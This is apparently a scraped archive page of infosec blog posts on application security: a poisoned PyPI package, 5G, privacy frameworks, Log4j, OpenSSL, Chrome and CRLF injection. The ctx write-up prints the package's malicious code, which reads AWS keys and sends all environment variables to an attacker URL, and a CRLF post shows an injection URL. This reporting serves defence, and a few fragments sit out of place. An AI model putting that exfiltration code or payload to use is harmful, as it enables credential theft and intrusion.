CRLF Injection

Tags: command injection, Secure Application Development

Here, we’re in the Bash shell, and we have used env -i to strip down the environment variables to save space, and we’ve run the Python exfiltration script with a fake AWS environment variable set (the access key we chose is one of Amazon’s own deliberately non-functional examples used for documentation)

May 25 2022

Poisoned Python and PHP packages purloin passwords for AWS access

Category: App Security — DISC @ 9:18 am

Poisoned Python and PHP packages purloin passwords for AWS access

A keen-eyed researcher at SANS recently wrote about a new and rather specific sort of supply chain attack against open-source software modules in Python and PHP.

Following on-line discussions about a suspicious public Python module, Yee Ching Tok noted that a package called ctx in the popular PyPi repository had suddenly received an “update”, despite not otherwise being touched since late 2014.

In theory, of course, there’s nothing wrong with old packages suddenly coming back to life.

Sometimes, developers return to old projects when a lull in their regular schedule (or a guilt-provoking email from a long-standing user) finally gives them the impetus to apply some long-overdue bug fixes.

In other cases, new maintainers step up in good faith to revive “abandonware” projects.

But packages can become victims of secretive takeovers, where the password to the relevant account is hacked, stolen, reset or otherwise compromised, so that the package becomes a beachhead for a new wave of supply chain attacks.

Simply put, some package “revivals” are conducted entirely in bad faith, to give cybercriminals a vehicle for pushing out malware under the guise of “security updates” or “feature improvements”.

The attackers aren’t necessarily targeting any specific users of the package they compromise – often, they’re simply watching and waiting to see if anyone falls for their package bait-and-switch…

…at which point they have a way to target the users or companies that do.

New code, old version number

In this attack, Yee Ching Tok noticed that altough the package suddenly got updated, its version number didn’t change, presumably in the hope that some people might [a] take the new version anyway, perhaps even automatically, but [b] not bother to look for differences in the code.

But a diff (short for difference, where only new, changed or deleted lines in the code are examined) showed added lines of Python code like this:

if environ.get('AWS_ACCESS_KEY_ID') is not None:self.secret = environ.get('AWS_ACCESS_KEY_ID')

You may remember, from the infamous Log4Shell bug, that so-called environment variables, accessible via os.environ in Python, are memory-only key=value settings associated with a specific running program.

Data that’s presented to a program via a memory block doesn’t need to be written to disk, so this is a handy way of passing across secret data such as encryption keys while guarding against saving the data improperly by mistake.

However, if you can poison a running program, which will already have access to the memory-only process environment, you can read out the secrets for yourself and steal the, for example by sending them out buried in regular-looking network traffic.

If you leave the bulk of the source code you’re poisoning untouched, its usual functions will still work as before, and so the malevolent tweaks in the package are likely to go unnoticed.

Why now?

Apparently, the reason this package was attacked only recently is that the server name used for email by the original maintainer had just expired.

The attackers were therefore able to buy up the now-unused domain name, set up an email server of their own, and reset the password on the account.

Interestingly, the poisoned ctx package was soon updated twice more, with more added “secret sauce” squirrelled away in the infected code, this time including more aggressive data-stealing code.

The requests.get() line below connects to an external server controlled by the crooks, though we have redacted the domain name here:

def sendRequest(self):str = ""for _, v in environ.items():str += v + " " ### --encode string into base64 resp = requests.get("https://[REDACTED]/hacked/" + str)

The redacted exfiltration server will receive the encoded environment variables (including any stolen data such as access keys) as an innocent-looking string of random-looking data at the end of the URL.

The response that comes back doesn’t actually matter, because it’s the outgoing request, complete with appended secret data, that the attackers are after.

If you want to try this for yourself, you can create a standalone Python program based on the pseudocode above, such as this::

Then start a listening HTTP pseudoserver in a separate window (we used the excellent ncat utility from the Nmap toolkit, as seen below), and run the Python code.

Full Stack Python Security: Cryptography, TLS, and attack resistance

Pro PHP Security: From Application Security Principles to the Implementation of XSS Defenses (Expert’s Voice in Open Source)

👇 Please Follow our LI page…

DISC InfoSec

Tags: PHP, Python, Python and PHP packages

5G Wireless: A Comprehensive Introduction

May 04 2022

Do You Need to Rethink AppSec With 5G?

Category: App Security,Wi-Fi Security — DISC @ 8:55 am

Do You Need to Rethink AppSec With 5G?

It’s not quite everywhere yet, but 5G connectivity is growing rapidly. That’s a great thing for remote workers and anyone depending on a fast connection, but what kind of impact will 5G have on application security?

“The explosion of 5G is only going to put more pressure on teams to harden their application security practice,” said Mark Lambert, vice president of products at ArmorCode, via email. The reason is the increase in the attack surface.

More devices with high bandwidth will be connecting to your network systems and services. At the same time, Lambert pointed out, business leaders are demanding an increase in the pace of software delivery. As 5G use becomes the norm, so does the risk of apps without the security to support faster connectivity.

“Application security teams need ways to quickly identify vulnerabilities within the DevSecOps pipeline and collaborate with development teams to escalate remediation,” said Lambert.

The IoT Dilemma

5G will accelerate the use of IoT devices, which in turn will accelerate app development for IoT devices. Based on the lack of priority for security in the application development process today, there is no indication that IoT software will be designed to handle the challenges of 5G security in the future. And there will be challenges.

The 5G systems won’t just connect phones, sensors and software to the internet. “On a high level, a 5G system comprises a device connected to a 5G access network which, in turn, is connected to the rest of the system called a 5G core network,” according to a whitepaper from Ericsson.

So, it won’t simply be all the new connections that are expanding the attack surface and creating an increased application security risk, but also the change in how 5G connects to the network. Rather than the one-way network that was in place under 4G, 5G brings a two-way communication capability, and, according to a Cyrex blog post, would “be linked in this two-way network and effectively would be public to those with the skills to exploit the link.”

5G, AppSec and the Cloud

Expect to see 5G lead to an increase in the adoption of cloud applications, said Kevin Dunne, president at Pathlock, in an email interview.

“Increased connectivity and connection speeds from anywhere will drive companies to invest in infrastructure that can be accessed from anywhere,” said Dunne. “Providing accessible applications will increase employee productivity, but it will also introduce new threats. With critical resources now on the public network, bad actors can access them from anywhere, increasing the number of threats to sensitive data and business processes.”

IT security teams will need to shift their focus from network-based perimeter protection to more modern approaches that look beyond what users can do in an application to what they are doing, Dunne added. “This helps to defend against modern attacks like phishing and ransomware which are increasingly common in cloud environments.”

It’s not all gloom and doom for 5G and application security. 5G can enhance app security, allowing developers to create more intelligent software and allowing them to use virtual hardware. 5G can also improve identity management and authentication that will make it more difficult for threat actors to infiltrate applications.

5G is expected to transform business reliance on IoT devices and cloud applications. Expect new threats and risks to go hand-in-hand with the innovations that 5G brings. Those responsible for application security will need to prepared with cybersecurity systems that will adapt to those threats.

👇 Please Follow our LI page…

DISC InfoSec

Tags: 5G security, 5G Wireless, AppSec

Data Privacy: A runbook for engineers

Apr 18 2022

Trans-Atlantic Data Privacy Framework’s Impact on AppSec

Category: App Security,Information Privacy,Security and privacy Law — DISC @ 1:19 pm

Trans-Atlantic Data Privacy Framework’s Impact on AppSec

Earlier this year, the White House announced that it is working with the European Union on a Trans-Atlantic Data Privacy Framework. According to a White House statement, this framework will “reestablish an important legal mechanism for transfers of EU personal data to the United States. The United States has committed to implement new safeguards to ensure that signals intelligence activities are necessary and proportionate in the pursuit of defined national security objectives, which will ensure the privacy of EU personal data and to create a new mechanism for EU individuals to seek redress if they believe they are unlawfully targeted by signals intelligence activities.”

This is encouraging news. As The National Law Review pointed out, the EU had concerns about the protection of their citizens’ data from U.S. government surveillance. But it may also be the push needed to advance greater data privacy protections in America.

“The joint statement references the U.S. putting in place ‘new safeguards’ to ensure that intelligence activities are ‘necessary and proportionate’, the definition and practical application of which will be one of the things that privacy campaigners will be looking at closely when the detailed text is drafted and made available,” said Stephen Bailey of NCC Group in an email comment.

Data Privacy and AppSec

The world runs on apps, so it is necessary to look at how the Trans-Atlantic Data Privacy Framework will impact app development and app security.

“For application developers, the single biggest challenge to complying with increasingly rigorous data protection frameworks is getting control of their data, particularly sensitive and personally identifiable information,” explained Chris McLellan, director of operations at the nonprofit Data Collaboration Alliance.

Today, every new app, whether bought or built, traps data in a silo, which can only be connected through the exchange of copies or point-to-point data integration.

“These copies make it incredibly difficult—and in some cases, even impossible—to support GDPR outcomes like ubiquitous data access controls, portability, custodianship, deletion (the right to be forgotten) and precision auditability: Things that could potentially, although they’re unlikely to, be included in the post-Privacy Shield framework. But they are definitely looming on the horizon both internationally and domestically, for example, in California and Utah,” said McLellan.

As data privacy frameworks become more common and we begin to see more joint efforts internationally, organizations have to think about how they share and store data in the future, taking compliance requirements into greater consideration.

Organizations need to get more serious about minimizing their use of data and start implementing strategies that introduce real control to the data they manage, McLellan says. They should be exploring ways now to eliminate data silos and copies that have resulted in rampant data proliferation.

data privacy shield security remote work

No Quick Fixes

But, as McLellan pointed out, there are no quick fixes. Unwinding years of “an app for everything and a database for every app” mantra will be difficult, and McLellan believes this is best approached in two stages.

Stage One: Immediately treat the symptoms of data proliferation by evaluating and adopting privacy-enhancing technologies that help organizations anonymize and encrypt data, and better manage consent. “They should also investigate the potential to adopt first-party and zero-party data collection practices that redirect customer and other sensitive data away from the third-party apps (e.g. Google Analytics), over which they have no control,” McLellan explained. “Organizations should also adopt processes and workflows that help them establish ‘purpose-based’ data access requests.”

Stage Two: Organizations should explore ways to address the root causes of data proliferation. Everyone within the organization’s technology teams—CIO, CDO, application development, data and IT teams—should familiarize themselves with emerging frameworks like zero-copy integration, a framework that is on track to become a national standard in Canada.

“It’s the evolution of privacy-by-design and signals the beginning of the end for application-specific data silos and copy-based data integration. Such frameworks are made possible by new categories of technology, including data fabrics, dataware and blockchain that support ‘zero copy’ digital innovation. Many leading organizations, particularly in finance and health care, are already ahead of the curve in adopting this approach,” said McLellan.

Data protection regulations at home and abroad reflect a burgeoning global trend toward citizens and consumers gaining greater control and ownership of data as its rightful owner.

“These regulatory shifts,” said McLellan, “will need to be met by an equally significant shift in how U.S. businesses manage data and build new applications if there’s any hope to comply with new laws as they’re passed.”

👇 Please Follow our LI page…

DISC InfoSec

Tags: Data Privacy Framework, Data privacy runbook

Apr 11 2022

Burp Suite overview

Category: App Security,Web Security — DISC @ 11:29 am

Burpsuite, the proxy-based tool used to evaluate the security of web-based applications and do hands-on testing developed by PortSwigger. It is one of the most popular penetration testing and vulnerability finder tools and is often used for checking web application security.

Web App Security

👇 Please Follow our LI page…

Tags: burp suite, web app security

OWASP-Vulnerability-Management-Guide-1 Download

Feb 28 2022

Take a dev-centric approach to cloud-native AppSec testing

Category: App Security,Information Security — DISC @ 10:09 am

Take a dev-centric approach to cloud-native AppSec testing

While some applications are still being built on a monolithic (all-in-one) architecture – i.e., all components in a single code base, on a single server, connected to the internet – an increasing number of them is now based on the microservices architecture, with each application microservice a self-contained functionality, “housed” in a container managed by an orchestrator like Kubernetes, deployed on the cloud (public or private), and communicating with other application microservices over the network in runtime.

But with applications no longer self-contained, security vulnerabilities are no longer present just in the code; vulnerabilities can “start” on one microservice, go through multiple components, and “finish” on a different microservice.

“We are no longer dealing with just vulnerabilities, but also with vulnerable flows between microservices. On top of that, as cloud-native applications are built on multiple infrastructure layers – the container, the cluster, and the cloud – they way these layers are configured affects what a hacker can do with these vulnerabilities,” notes Ron Vider, one of the co-founders and the CTO of Oxeye.

Modern architectures require modern AppSec testing solutions

This dramatic change in how applications are structured has made traditional approaches to application security ineffectual and has created security blind spots for AppSec and DevOps teams.

“Old-school” software composition analysis (SCA) and static, dynamic, and interactive application security testing (SAST, DAST, IAST) tools are run independently, are not synchronized with one another, and are unable to cross-reference and use enriched data from other code layers in the environment. The incomplete and inaccurate results they provide when testing cloud-native apps have made it obvious that a new approach and new, better tools are needed.

Oxeye is one such tool. It essentially combines all AST methodologies with a new generation of security control assessment capabilities and, as a result, excels in finding and correctly prioritizing vulnerabilities in cloud-native applications that need to be addressed. It helps clear the noise of false positives/negatives delivered by legacy solutions, and allows developers and AppSec teams to focus on high-risk, critical vulnerabilities.

Getting started with Oxeye is fantastically easy: you need to deploy a single component (Oxeye Observer) into your staging or testing environment, and you do it by using a single YAML file containing its definitions.

“The Oxeye Observer immediately starts running within the cluster and starts it automatic discovery process,” Vider told Help Net Security.

“First it analyzes the infrastructure to understand how the application is configured, and it does that by communicating with the with the Docker API, the containerd API, the Kubernetes API and the cloud provider API, and fetching the relevant configuration. Then, it detects potential vulnerabilities in the code (the application’s code and the third-party components). Next, it analyzes the communication between the different components and traces their flow. Finally, it validates the found vulnerabilities by sending payloads to the application and analyzing its behavior, to understand whether it’s exploitable or not.”

OWASP Vulnerability Management Guide

Category: App Security,Web Security — DISC @ 10:34 pm

Owasp A Complete Guide

Front End Web Developer Cert

Tags: OVMG, OWASP

Application-Security-by-Design-1 Download

Jan 04 2022

App security by design

Category: App Security — DISC @ 10:56 am

Securing DevOps: Security in the Cloud

Tags: App security by design, Securing DevOps

Dec 23 2021

Crooks bypass a Microsoft Office patch for CVE-2021-40444 to spread Formbook malware

Category: App Security,Malware — DISC @ 9:40 am

Crooks bypass a Microsoft Office patch for CVE-2021-40444 to spread Formbook malware

Cybercriminals have found a way to bypass the patch for a recent Microsoft Office vulnerability tracked as CVE-2021-40444 (CVSS score of 8.8). The bad news is that threat actors are using it to distribute the Formbook malware.

The CVE-2021-40444 is a remote code execution security flaw that affected the MSHTML file format.

the security defect can be exploited to achieve remote code execution on vulnerable systems. An attacker looking to exploit the bug needs to trick the indented victim into opening a maliciously crafted document.

In September Microsoft warned of multiple threat actors, including ransomware operators, that were exploiting the Windows MSHTML remote code execution security flaw in attacks against organizations.

The IT giant said that threat actors started targeting this issue on August 18, before Microsoft shared mitigation for this vulnerability, threat actors used weaponized Office documents. The campaigns observed in August 2021 employed emails impersonating contracts and legal agreements, the messages used documents that were hosted on file-sharing sites.

Microsoft addressed the flaw with the release of Microsoft Patch Tuesday security updates for September 2021.

The availability of Proof-of-concept exploit code for this vulnerability caused a spike in attacks attempting to exploit this issue.

In the initial attacks observed by the researchers, the malicious code downloads a Microsoft Cabinet (CAB) archive containing a malicious executable. The patch developed by Microsoft prevents the execution of the code to download the CAB archive, but now threat actors are bypassing the patch by incorporating a Word document in a specially crafted RAR archive.

Learning Malware Analysis

Tags: Learning Malware Analysis, Microsoft Office patch

You can see a contrived but explanatory example of bugs of this sort in this code:

Dec 17 2021

Serious Security: OpenSSL fixes “error conflation” bugs – how mixing up mistakes can lead to trouble

Category: App Security,Security vulnerabilities — DISC @ 12:32 pm

Serious Security: OpenSSL fixes “error conflation” bugs – how mixing up mistakes can lead to trouble

OpenSSL publishes updates

Well, in case you missed it, the renowned OpenSSL cryptographic toolkit – a free and open source software product that we’re guessing is installed somewhere between one and three orders of magnitude more widely than Log4J – also published updates this week.

OpenSSL 1.1.1m replaces 1.1.1l (those last characters are M-for-Mike and L-for-Lima), and OpenSSL 3.0.1 replaces 3.0.0.

In case you were wondering, the popular X.Y.Z versioning scheme used by OpenSSL 3 was introduced at least in part to avoid the confusion caused by the trailing letter in the earlier version “numbering” system. As for OpenSSL 2, there wasn’t one. Only the 1.1.1 and the 3.0 series are currently supported, so updating versions such as OpenSSL 1.0.x means jumping to 1.1.1m, or directly to the OpenSSL 3 series.

“Applications may not behave correctly”

The good news is that the OpenSSL 1.1.1m release notes don’t list any CVE-numbered bugs, suggesting that although this update is both desirable and important (OpenSSL releases are infrequent enough that you can assume they arrive with purpose), you probably don’t need to consider it critical just yet.

But those of you who have already moved forwards to OpenSSL 3 – and, like your tax return, it’s ultimately inevitable, and somehow a lot easier if you start sooner – should note that OpenSSL 3.0.1 patches a security risk dubbed CVE-2021-4044.

As far as we’re aware, there are no viable known exploits for this bug, but as the OpenSSL release notes point out:

[The error code that may be returned due to the bug] will be totally unexpected and applications may not behave correctly as a result. The exact behaviour will depend on the application but it could result in crashes, infinite loops or other similar incorrect responses.

In theory, a precisely written application ought not to be dangerously vulnerable to this bug, which is caused by what we referred to in the headline as error conflation, which is really just a fancy way of saying, “We gave you the wrong result.”

Simply put, some internal errors in OpenSSL – a genuine but unlikely error, for example, such as running out of memory, or a flaw elsewhere in OpenSSL that provokes an error where there wasn’t one – don’t get reported correctly.

Instead of percolating back to your application precisely, these errors get “remapped” as they are passed back up the call chain in OpenSSL, where they ultimately show up as a completely different sort of error.

Bulletproof SSL and TLS: Understanding and Deploying SSL/TLS and PKI to Secure Servers and Web Applications

Tags: Bulletproof SSL and TLS:, OpenSSL

Dec 16 2021

While attackers begin exploiting a second Log4j flaw, a third one emerges

Category: App Security,Log4j,Security vulnerabilities — DISC @ 9:54 am

While attackers begin exploiting a second Log4j flaw, a third one emerges

Experts warn that threat actors are actively attempting to exploit a second bug disclosed in the popular Log4j logging library.

American web infrastructure and website security company Cloudflare warns that threat actors are actively attempting to exploit a second vulnerability, tracked as CVE-2021-45046, disclosed in the Log4j library.

The CVE-2021-45046 received a CVSS score of 3.7 and affects Log4j versions from 2.0-beta9 through 2.12.1 and 2.13.0 through 2.15.0 (which was released to fix CVE-2021-44228).

The Apache Software Foundation (ASF) has already released a patch for the Log4Shell vulnerability (CVE-2021-44228), but this fix partially address the flaw in certain non-default configurations. An attacker with control over Thread Context Map (MDC) input data when the logging configuration uses a non-default Pattern Layout with either a Context Lookup (for example, $${ctx:loginId}) or a Thread Context Map pattern (%X, %mdc, or %MDC) can craft malicious input data using a JNDI Lookup pattern triggering a denial of service (DOS) condition.

Both issues were assessed with the release of Log4j 2.16.0 version that addresses the CVE-2021-45046 by removing support for message lookup patterns and disabling JNDI functionality by default.

“Hot on the heels of CVE-2021-44228 a second Log4J CVE has been filed CVE-2021-45046. The rules that we previously released for CVE-2021-44228 give the same level of protection for this new CVE.” states CloudFlare.”This vulnerability is actively being exploited and anyone using Log4J should update to version 2.16.0 as soon as possible, even if you have previously updated to 2.15.0. The latest version can be found on the Log4J download page.”

The bad news are not ended, because researchers at security firm Praetorian warned of a third security vulnerability the Log4j version 2.15.0 that was released to fix the initial Log4Shell.

This third vulnerability can be exploited by attackers to exfiltrate sensitive data in certain circumstances.

“However, in our research we have demonstrated that 2.15.0 can still allow for exfiltration of sensitive data in certain circumstances. We have passed technical details of the issue to the Apache Foundation, but in the interim, we strongly recommend that customers upgrade to 2.16.0 as quickly as possible.” states the post published by Praetorian.

This image has an empty alt attribute; its file name is image-13.png

Secure By Design

Secure Software Development Fundamentals Professional Certificate

Tags: Log4j, Log4shell, Secure By Design

Dec 14 2021

Google fixed the 17th zero-day in Chrome since the start of the year

Category: App Security,Web Security — DISC @ 9:25 am

Google fixed the 17th zero-day in Chrome since the start of the year

Google released security updates to address five vulnerabilities in the Chrome web browser, including a high-severity zero-day flaw, tracked as CVE-2021-4102, exploited in the wild.

The CVE-2021-4102 flaw is a use-after-free issue in the V8 JavaScript and WebAssembly engine, its exploitation could lead to the execution of arbitrary code or data corruption.

“Google is aware of reports that an exploit for CVE-2021-4102 exists in the wild.” reads the advisory published by Google which did not share additional info regarding these attacks.

The vulnerability was reported by an anonymous researcher on 2021-12-09.

Google has already addressed 17 zero-day vulnerabilities in Chrome this year, below is the full list:

CVE-2021-21148 – February 4th, 2021
CVE-2021-21166 – March 2nd, 2021
CVE-2021-21193 – March 12th, 2021
CVE-202 1 -21220 – April 13th, 2021
CVE-2021-21224 – April 20th, 2021
CVE-2021-30551 – June 9th, 2021
CVE-2021-30554 – June 17th, 2021
CVE-2021-30554 – June 17th, 2021
CVE-2021-30563 – July 15th, 2021
CVE-2021-30632 & CVE-2021-30633 – Sept 13th, 2021
CVE-2021-37973 – Sept 24th, 2021
CVE-2021-37975 and CVE-2021-37976 – Oct, 13st, 2021
CVE-2021-38000 and CVE-2021-38003 – Oct, 28th 2021

Be sure to update your Chrome install to the latest 96.0.4664.110 version for Windows, Mac, and Linux.

The other issues fixed by Google with the latest release are:

[$NA][1263457] Critical CVE-2021-4098: Insufficient data validation in Mojo. Reported by Sergei Glazunov of Google Project Zero on 2021-10-26

[$5000][1270658] High CVE-2021-4099: Use after free in Swiftshader. Reported by Aki Helin of Solita on 2021-11-16

[$5000][1272068] High CVE-2021-4100: Object lifecycle issue in ANGLE. Reported by Aki Helin of Solita on 2021-11-19

[$TBD][126 2 080] High CVE-2021-4101: Heap buffer overflow in Swiftshader. Reported by Abraruddin Khan and Omair on 2021-10-21

The Browser Hacker’s Handbook

Tags: Chrome, Google, The Browser Hacker's Handbook, zero-day

Dec 07 2021

Cisco Survey Surfaces Legacy Infrastructure Security Challenges

Category: App Security — DISC @ 6:18 pm

Cisco Survey Surfaces Legacy Infrastructure Security Challenges

A global survey of 5,123 active IT, security and privacy professionals conducted by YouGov on behalf of Cisco found well over a third of organizations (39%) are relying on what they consider to be outdated security technologies.

Overall, the survey found organizations that upgrade IT and security technologies quarterly are about 30% more likely to excel at keeping up with the business than those that upgrade only every few years. The survey also suggested that security operations teams that integrate people, processes and platforms see a 3.5X performance boost over rivals. Automation also more than doubles the performance of less experienced people, the survey suggested.

Wendy Nather, head of advisory chief information security officers (CISOs) for Cisco Duo, a multifactor authentication platform, said the survey makes it clear there is a clear benefit to relying on vendors such as Cisco or a managed service provider (MSP) that automates the update process. However, while outsourced detection and response teams are perceived to be superior, an internal security team is still faster in terms of mean-time-to-respond (MTTR) to a cybersecurity event (six days versus 13 days).

Not surprisingly, the survey also found organizations with integrated technologies are seven times more likely to achieve high levels of process automation. Organizations that claim to have mature implementations of zero-trust or secure access service edge (SASE) architectures are 35% more likely to report strong security operations. In addition, organizations that leverage threat intelligence achieve 50% faster mean-time-to-repair when recovering from a cybersecurity attack.

Finally, the survey found the probability of maintaining business resilience doesn’t improve until business continuity and disaster recovery capabilities cover at least 80% of critical systems and that organizations that regularly test their business continuity and disaster recovery capabilities in multiple ways are 2.5 times are more likely to maintain business resiliency. Organizations that make chaos engineering a standard practice are also twice as likely to achieve high levels of resiliency, according to the survey.

Nather said cybersecurity teams should also invest more in observability and threat intelligence tools. Many cybersecurity teams are overly confident in the level of security they have implemented only to discover that, once provided with access to metrics, that the amount of malware in their environment is much higher than they thought. Until that moment arrives, many organizations are suffering from cybersecurity ‘ignorance is bliss,’ she added.

Regardless of the current level of confidence in cybersecurity, Nater noted that the shift to remote work coupled with investments in digital business transformation initiatives will drive more organizations to revisit their cybersecurity strategies in 2022. Organizations will also need to reconsider their approach to cloud security given the number of misconfigurations that are made by DevOps teams using infrastructure-as-code (IaC) tools to provision infrastructure with little appreciation for DevSecOps best practices.

Ultimately, the issue organizations must come to terms with is that trying to protect legacy infrastructure is much harder than relying on either a cloud service or an as-a-service platform that is continuously updated by someone else. Unfortunately, not every organization can afford to rip and replace all their legacy infrastructure overnight.

Build, automate, and manage your infrastructure on the most popular cloud platform – AWS

Tags: AWS for System Administrators, Legacy Infrastructure Security Challenges

Dec 07 2021

Improper Neutralization of CRLF Sequences in Java Applications

Category: App Security,File Security,Information Security,Python — DISC @ 10:28 am

Improper Neutralization of CRLF Sequences in Java Applications

CRLF Injection

Let’s try to understand what CRLF injection is. In response to an HTTP request from a web browser, a web server sends a response, which contains both the HTTP headers and the actual content of the website. There is a special combination of characters that separates the HTTP headers from the HTML response (the website content), namely a carriage return followed by a line feed.

When a header ends with a CRLF, a new header is created on the server. So, a web application or a user will know when a new line begins in a file or text block.

An attacker can inject information into HTTP responses by using the CRLF characters that separate HTTP responses. As long as the header and body end in *CRLF>*CRLF>, the browser will understand that the header ends. Consequently, they have the option to store data in the body of the answer, where HTML is stored.

If an attacker enters the ASCII code for carriage return (%0d) and line feed (%0a) in a HTTPS header, they could identify them easily. The result would look like this:

https://xyz.com/index.php?page=home%0d%0a

Table of Contents

Tags: CRLF Injection

DuckDuckGo Wants to Stop Apps From Tracking You on Android

Nov 19 2021

DuckDuckGo Wants to Stop Apps From Tracking You on Android

Category: App Security,Information Privacy,Information Security,Web Security — DISC @ 4:23 pm

At the end of April, Apple’s introduction of App Tracking Transparency tools shook the advertising industry to its core. iPhone and iPad owners could now stop apps from tracking their behavior and using their data for personalized advertising. Since the new privacy controls launched, almost $10 billion has been wiped from the revenues of Snap, Meta Platform’s Facebook, Twitter, and YouTube.

Now, a similar tool is coming to Google’s Android operating system—although not from Google itself. Privacy-focused tech company DuckDuckGo, which started life as a private search engine, is adding the ability to block hidden trackers to its Android app. The feature, dubbed “App Tracking Protection for Android,” is rolling out in beta from today and aims to mimic Apple’s iOS controls. “The idea is we block this data collection from happening from the apps the trackers don’t own,” says Peter Dolanjski, a director of product at DuckDuckGo. “You should see far fewer creepy ads following you around online.”

The vast majority of apps have third-party trackers tucked away in their code. These trackers monitor your behavior across different apps and help create profiles about you that can include what you buy, demographic data, and other information that can be used to serve you personalized ads. DuckDuckGo says its analysis of popular free Android apps shows more than 96 percent of them contain trackers. Blocking these trackers means Facebook and Google, whose trackers are some of the most prominent, can’t send data back to the mothership—neither will the dozens of advertising networks you’ve never heard of.

From a user perspective, blocking trackers with DuckDuckGo’s tool is straightforward. App Tracking Protection appears as an option in the settings menu of its Android app. For now, you’ll see the option to get on a waitlist to access it. But once turned on, the feature shows the total number of trackers blocked in the last week and gives a breakdown of what’s been blocked in each app recently. Open up the app of the Daily Mail, one of the world’s largest news websites, and DuckDuckGo will instantly register that it is blocking trackers from Google, Amazon, WarnerMedia, Adobe, and advertising company Taboola. An example from DuckDuckGo showed more than 60 apps had tracked a test phone thousands of times in the last seven days.Most Popular

My own experience bore that out. Using a box-fresh Google Pixel 6 Pro, I installed 36 popular free apps—some estimates claim people install around 40 apps on their phones—and logged into around half of them. These included the McDonald’s app, LinkedIn, Facebook, Amazon, and BBC Sounds. Then, with a preview of DuckDuckGo’s Android tracker blocking turned on, I left the phone alone for four days and didn’t use it at all. In 96 hours, 23 of these apps had made more than 630 tracking attempts in the background.

Using your phone on a daily basis—opening and interacting with apps—sees a lot more attempted tracking. When I opened the McDonald’s app, trackers from Adobe, cloud software firm New Relic, Google, emotion-tracking firm Apptentive, and mobile analytics company Kochava tried to collect data about me. Opening the eBay and Uber apps—but not logging into them—was enough to trigger Google trackers.

At the moment, the tracker blocker doesn’t show what data each tracker is trying to send, but Dolanjski says a future version will show what broad categories of information each commonly tries to access. He adds that in testing the company has found some trackers collecting exact GPS coordinates and email addresses.

“You should see far fewer creepy ads following you around online.”

PETER DOLANJSKI, DUCKDUCKGO

Tags: Apps From Tracking, DuckDuckGo

Oct 07 2021

Divide Between Security, Developers Deepens

Category: App Security — DISC @ 9:16 am

Divide Between Security, Developers Deepens

Security professionals work hard to plan secure IT environments for organizations, but the developers who are tasked with implementing and carrying these plans and procedures are often left out of security planning processes, creating a fractured relationship between development and security.

This was the conclusion from a VMware and Forrester study of 1,475 IT and security managers, including CIOs and CISOs and managers with responsibility for security strategy and decision-making.

The report found security is still perceived as a barrier in organizations, with 52% of developer respondents saying they believed that security policies are stifling their ability to drive innovation.

Only one in five (22%) developers surveyed said they strongly agree that they understand which security policies they are expected to comply with and more than a quarter (27%) of the developers surveyed are not involved at all in security policy decisions, despite many of these decisions greatly impacting their roles.

The research indicated that security needs a perception shift and should be more deeply embedded across people, processes and technologies.

This means involving developers in security planning earlier and more often; learning to speak the language of the development team rather than asking development to speak security, sharing KPIs and increasing communication to improve relationships and automating security to improve scalability, the report recommended.

Set a Clear Scope for Security Requirements

“Regardless of whether if it’s customer-facing functionality or a business logic concern, every line of code developed should prioritize security as a design feature,” he said. “Once security is taken as seriously as other drivers for DevOps adoption, then a fully holistic integration can be achieved.”

#DevSecOps: A leader’s guide to producing secure software without compromising flow, feedback and continuous improvement

Tags: DevSecOps, Software developer

Sep 24 2021

OWASP Top 10 2021: The most serious web application security risks

Category: App Security,Web Security — DISC @ 9:49 am

OWASP Top 10 2021: The most serious web application security risks

How is the list compiled?

“We get data from organizations that are testing vendors by trade, bug bounty vendors, and organizations that contribute internal testing data. Once we have the data, we load it together and run a fundamental analysis of what CWEs map to risk categories,” the Open Web Application Security Project (OWASP) explains.

“This installment of the Top 10 is more data-driven than ever but not blindly data-driven. We selected eight of the ten categories from contributed data and two categories from the Top 10 community survey at a high level.”

The reason for leaving space for direct input from application security and development experts on the front lines is the fact that it takes time to find ways to test new vulnerabilities, and they can offer knowledge on essential weaknesses that the contributed data may not show yet.

The list is then published so that it can be reviewed by practitioners, who may offer comments and suggestions for improvements.

OWASP Top 10 2021: What has changed in the last 4 years?

Tags: OWASP Top 10

Sep 13 2021

Mobile app creation: Why data privacy and compliance should be at the forefront

Category: App Security,Mobile Security — DISC @ 9:44 am

Mobile app creation: Why data privacy and compliance should be at the forefront

A user’s personal data can be anything from their user name and email address to their telephone name and physical address. Less obvious forms of sensitive data include IP addresses, log data and any information gathered through cookies, as well as users’ biometric data.

Any business whose mobile app collects personal information from users is required to have a Privacy Policy. Regardless of app geography or business domain, there are mandatory regulations such as the GDPR, the CCPA, and the PDPA, as well as Apple, Google and Android guidelines that ensure accountability and user data privacy. Some apps do not directly collect personal data but instead use a third-party tool like Google Analytics – they, too, need a Privacy Policy.

Data privacy and security and the mobile app creation process

Xamarin in Action: Creating native cross-platform mobile apps

Tags: Mobile app

Aug 28 2021

Big bad decryption bug in OpenSSL – but no cause for alarm

Category: App Security — DISC @ 9:29 pm

Big bad decryption bug in OpenSSL – but no cause for alarm

The bugs

OpenSSL, as its name suggests, is mainly used by network software that uses the TLS protocol (transport layer security), formerly known as SSL (secure sockets layer), to protect data in transit.

Although TLS has now replaced SSL, removing a huge number of cryptographic flaws along the way, many of the popular open source programming libraries that support it, such as OpenSSL, LibreSSL and BoringSSL, have kept old-school product names for the sake of familiarity.

Despite having TLS support as its primary aim, OpenSSL also lets you access the lower-level functions on which TLS itself depends, so you can use the libcrypto part of OpenSSL to do standalone encryption, compute file hashes, verify digital signatures and even do arithmetic with numbers that are thousands of digits long.

There are two bugs patched in the new version:

CVE-2021-3711
: SM2 decryption buffer overflow.
CVE-2021-3712
: Read buffer overruns processing ASN.1 strings.

Strings, long and short

Network Security with OpenSSL

Tags: OpenSSL

Aug 25 2021

APIs Create New Security Headaches

Category: App Security — DISC @ 10:52 pm

APIs Create New Security Headaches

How APIs Create Security Risks

The proliferation of APIs that power applications, microservices, containers and serverless functions have created one of the greatest sources of security risk that businesses face today. The reason is simple: It’s not the development team’s responsibility to handle security. At the same time, however, security operations teams don’t have visibility into APIs. Because you can’t protect what you can’t see, Lebin Cheng, head of API security, office of the CTO at Imperva, pointed out three primary ways APIs create security risk for organizations:

A legacy application, initially deployed for internal use, is exposed externally using gateways that perform only fundamental authentication and authorization, with inadequate protection against sophisticated data exfiltration attempts. Because APIs are often connected directly to a data source, this can give attackers direct access to sensitive data.
Modern applications are increasingly built with outsourced components and/or services. This means that the majority of the application stack isn’t actually owned by the enterprise. What connects all these components is the API, but organizations often lack the visibility to monitor these API calls or the ability to secure the APIs in runtime.
